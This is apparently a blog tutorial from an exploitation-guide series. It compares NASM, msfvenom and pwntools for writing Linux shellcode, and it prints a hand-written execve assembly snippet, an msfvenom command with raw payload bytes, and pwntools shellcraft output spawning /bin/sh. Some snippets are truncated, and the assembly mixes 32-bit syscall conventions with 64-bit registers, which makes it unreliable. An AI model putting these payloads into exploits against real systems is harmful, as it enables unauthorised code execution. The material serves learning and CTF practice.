Saturday 28 January 2017

Shellcode creation - comparison of methods

In the part 2 of my guide on stack overflow exploitation I mentioned that there are several ways of creating shellcodes. This post is about some of them.


The obvious way of creating shellcodes is writing it in assembly ourselves. To do that, we can use NASM, which is a x86/x86_64 assembler. Obvious drawback is that we cannot write for any other architecture with it(eg. arm64 for android).
In addition to that, we need to know assembly pretty well, fortunately for us, basic shellcode can be really simple, an example would be something along those lines:

[BITS 64]
    mov rax, 11 ; 11 - execve syscall number
    lea rbx, [rel bash] ; path to binary (thanks to rel our code is not dependent on any hardcoded addresses)
    mov rcx, 0 ; arguments
    mov rdx, 0 ; env
    int 0x80 ; syscall

db "/bin/bash", 0

We assemble it into object file, entire content of that file is our shellcode.
$ nasm shellcode.s -f bin -o shellcode.o

After that we can load it into python easily.
with open("shellcode.o", "rb") as f:

Testing our shellcode is also pretty easy, just link and run:
$ ld shellcode.o -o shellcode
$ ./shellcode

This method gives us full control of what you make, so self modifying code or writing raw bytes with db/dd/dq is not a problem. On the other hand, it's much more time consuming and a little trickier than other methods. If you want to learn NASM I recommend starting with their examples of simple programs here.

2. Msfvenom

Another way that I've shown already is to use module of metasploit called msfvenom. Main advantage of this solution is that we don't have to write anything ourselves. We use predefined shellcodes suitable for many platforms and architectures instead. Additional benefits are options like '--bad-chars', where we can blacklist some of the bytes. This can be useful if our shellcode must consists only of ASCII or mustn't contain null bytes. Msfvenom allows for choosing output format, that means we can have it print out code that puts all of the shellcode into python variable.

Command for generating shellcode that execute /bin/bash for x64 linux in python format would look like this:
$ msfvenom -f python -p linux/x64/exec -a x86_64 --platform linux CMD=/bin/bash
No encoder or badchars specified, outputting raw payload
Payload size: 49 bytes
Final size of python file: 246 bytes
buf =  ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += "\x52\xe8\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x62\x61"
buf += "\x73\x68\x00\x56\x57\x48\x89\xe6\x0f\x05"

That's pretty neat! Downside of this solution is that even that there are a lot of payloads to choose from, it can render itself useless when you need a custom one.

3. PWNtools

 Last but definitely not least is pwntools.
pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
pwntools is a great framework although we will focus only on one aspect of it which is module called shellcraft. This module allows you to write assembly code similar to what we can do with NASM, but using python.
It implies that you don't have to know so much about assembly to make it work. Moreover, there are tools to help you write code faster.
On the highest level we can create shellcodes like with msfvenom, there are predefined C functions as well as whole payloads:

>>> from pwnlib import *
>>> context.context(arch='amd64', os='linux')
>>> asm.asm(
>>> print(
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    /* call execve('rsp', 0, 0) */
    push (SYS_execve) /* 0x3b */
    pop rax
    mov rdi, rsp
    xor esi, esi /* 0 */
    cdq /* rdx=0 */

Even though we are able to create payloads very quickly, sometimes much more precision is needed, in that case we can use another part of the module:
>>> shellcode = ""
>>> shellcode +='rax', 11)
>>> shellcode += shellcraft.amd64.push(util.packing.u64(b'/bin/sh\0'))
>>> ....

It's a real Swiss army knife in this matter, look at the documentation for more information.

To sum up, all of those have their use cases, which are mutually a bit disjunctive. pwntools is my favorite, which comes with no surprise as it was created to help you pwn!